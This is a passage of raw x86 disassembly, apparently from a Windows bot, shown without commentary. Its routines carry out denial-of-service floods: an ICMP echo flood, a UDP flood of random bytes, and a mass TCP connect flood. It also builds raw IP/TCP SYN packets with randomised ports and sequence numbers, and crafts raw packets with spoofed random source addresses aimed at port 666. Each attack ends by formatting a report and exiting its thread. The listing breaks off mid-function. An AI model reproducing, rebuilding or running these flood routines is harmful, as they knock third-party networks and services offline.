		call	dword_4CB95C	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413E6B
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CBA58	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413E71


loc_413E6B:				; CODE XREF: sub_413E10+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413ECE


loc_413E71:				; CODE XREF: sub_413E10+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_437A1C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413EB1
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409869
		add	esp, 14h


loc_413EB1:				; CODE XREF: sub_413E10+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413ECE:				; CODE XREF: sub_413E10+5Fj
		cmp	eax, ebx
		jz	short loc_413EDE
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413EE1
; ---------------------------------------------------------------------------


loc_413EDE:				; CODE XREF: sub_413E10+C0j
		mov	[ebp+var_4], esi


loc_413EE1:				; CODE XREF: sub_413E10+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BF70
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413F01
		mov	[ebp+var_3C], eax


loc_413F01:				; CODE XREF: sub_413E10+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_413F09
		mov	[ebp+var_38], edi


loc_413F09:				; CODE XREF: sub_413E10+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_413F36


loc_413F10:				; CODE XREF: sub_413E10+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CB8EC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413F10


loc_413F36:				; CODE XREF: sub_413E10+FEj
		push	[ebp+arg_0]
		call	dword_4CBA8C	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4379F0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413F7F
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409869
		add	esp, 14h


loc_413F7F:				; CODE XREF: sub_413E10+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_413E10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F9C	proc near		; DATA XREF: sub_401ACD+5679o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CBA54	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_414081
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CBA58	; gethostbyname
		cmp	eax, edi
		jnz	short loc_41407A
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_437A70
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_41405D
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409869
		add	esp, 14h


loc_41405D:				; CODE XREF: sub_413F9C+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415D38
		push	[ebp+var_20]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_41407A:				; CODE XREF: sub_413F9C+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_414084
; ---------------------------------------------------------------------------


loc_414081:				; CODE XREF: sub_413F9C+6Ej
		lea	eax, [ebp+arg_0]


loc_414084:				; CODE XREF: sub_413F9C+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_41409F
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_4140A2
; ---------------------------------------------------------------------------


loc_41409F:				; CODE XREF: sub_413F9C+F0j
		push	[ebp+var_24]


loc_4140A2:				; CODE XREF: sub_413F9C+101j
		call	dword_4CB9D4	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_4140B4
		mov	[ebp+var_24], esi


loc_4140B4:				; CODE XREF: sub_413F9C+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_4140C1
		mov	[ebp+var_24], eax


loc_4140C1:				; CODE XREF: sub_413F9C+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_4140D5
		mov	[ebp+var_28], esi


loc_4140D5:				; CODE XREF: sub_413F9C+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_4140F6


loc_4140DC:				; CODE XREF: sub_413F9C+158j
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_4140DC


loc_4140F6:				; CODE XREF: sub_413F9C+13Ej
					; sub_413F9C+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_414155
		push	0Bh
		pop	esi


loc_414103:				; CODE XREF: sub_413F9C+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CBA38	; sendto
		push	[ebp+var_28]
		call	dword_427080	; Sleep
		dec	esi
		jnz	short loc_414103
		cmp	[ebp+var_24], edi
		jnz	short loc_4140F6
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CB9D4	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_4140F6
; ---------------------------------------------------------------------------


loc_414155:				; CODE XREF: sub_413F9C+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_437A44
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_414195
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409869
		add	esp, 14h


loc_414195:				; CODE XREF: sub_413F9C+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415D38
		push	[ebp+var_20]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_413F9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141B2	proc near		; DATA XREF: sub_401ACD+4CC4o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_414313
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_437A98
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414232
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_414232:				; CODE XREF: sub_4141B2+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4141B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: sub_414313+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		call	dword_427204	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4271E0	; ioctlsocket


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4271F8	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	dword_427080	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	dword_427200	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp


; =============== S U B	R O U T	I N E =======================================



sub_414313	proc near		; CODE XREF: sub_4141B2+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41C159
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: sub_414313+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414358	proc near		; DATA XREF: sub_401ACD+636Bo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4146A9
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437AC4
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4143D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_4143D8:				; CODE XREF: sub_414358+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_414358	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: sub_4146A9+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944	; WSAStartup
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_42713C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4	; htons
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C	; closesocket
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C	; WSACleanup
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4146A9	proc near		; CODE XREF: sub_414358+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41C159
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: sub_4146A9+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4146A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414703	proc near		; DATA XREF: sub_401ACD+6D3Do

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CBA14	; inet_addr
		push	eax
		call	sub_4147A6
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_437B0C
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414787
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409869
		add	esp, 14h


loc_414787:				; CODE XREF: sub_414703+62j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_414703	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147A6	proc near		; CODE XREF: sub_414703+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CB9E8	; gethostname
		push	[ebp+var_4]
		call	dword_4CBA58	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CBA54	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CB9B4	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41BEB5
		mov	edi, dword_4270B0
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CB9D4	; htons
		mov	[ebp+var_96], ax


loc_4148C1:				; CODE XREF: sub_4147A6+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4149A7
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41C2C2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41C2C2
		mov	[ebp+var_20], ax
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CB9D4	; htons
		push	esi
